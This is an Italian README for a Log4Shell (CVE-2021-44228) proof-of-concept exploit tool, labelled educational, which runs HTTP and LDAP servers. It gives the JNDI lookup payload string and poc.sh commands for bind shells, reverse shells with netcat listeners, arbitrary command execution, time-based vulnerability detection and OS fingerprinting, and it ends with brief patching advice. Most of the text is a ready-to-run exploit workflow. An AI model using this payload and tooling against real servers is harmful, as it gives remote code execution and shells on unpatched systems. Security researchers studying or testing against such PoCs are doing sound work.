
Exploit proof-of-concept per CVE-2021-44228 (Log4Shell) con server HTTP e LDAP, che supporta reverse/bind shell, RCE e rilevamento basato sul tempo per uso didattico.
PoC per CVE-2021-44228.
Progetto realizzato SOLO PER SCOPI EDUCATIVI.
Questo progetto crea due server: http e ldap. Entrambi sono necessari affinché l'exploit funzioni. Il file java specificato viene compilato e i server vengono avviati in un Dockerfile. Il payload viene mostrato all'utente - deve essere passato all'applicazione vulnerabile.
Esempio di payload:
${jndi:ldap//127.0.0.1:1389/a}
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
Mette in pausa il programma per 25 secondi
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444
Il rilevamento del SO può restituire 4 lettere:
L per LinuxW per WindowsM per MacOSU per sconosciutoLa tecnica di bypass è stata pubblicata. Esempio qui
L'app è stata progettata per mostrare come funziona. Per costruire ed eseguire il jar con un'app usa:
./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'
dove PAYLOAD è restituito dallo script ./poc.sh (ad es. ${jndi:ldap://127.0.0.1:1389/1}).
Alcuni crediti per progetti e siti web utilizzati durante la creazione di questo exploit:
Avvia l'app usando log4j con log4j2.formatMsgNoLookups impostato su true, o aggiorna a log4j-2.15.0-rc1 o successivo. Gli aggiornamenti sono disponibili - implementali il prima possibile.
Questo progetto può essere utilizzato solo per scopi educativi. L'utilizzo di questo software contro sistemi target senza autorizzazione preventiva è illegale, e l'autore non si assumerà alcuna responsabilità per eventuali danni derivanti dall'abuso di questo software.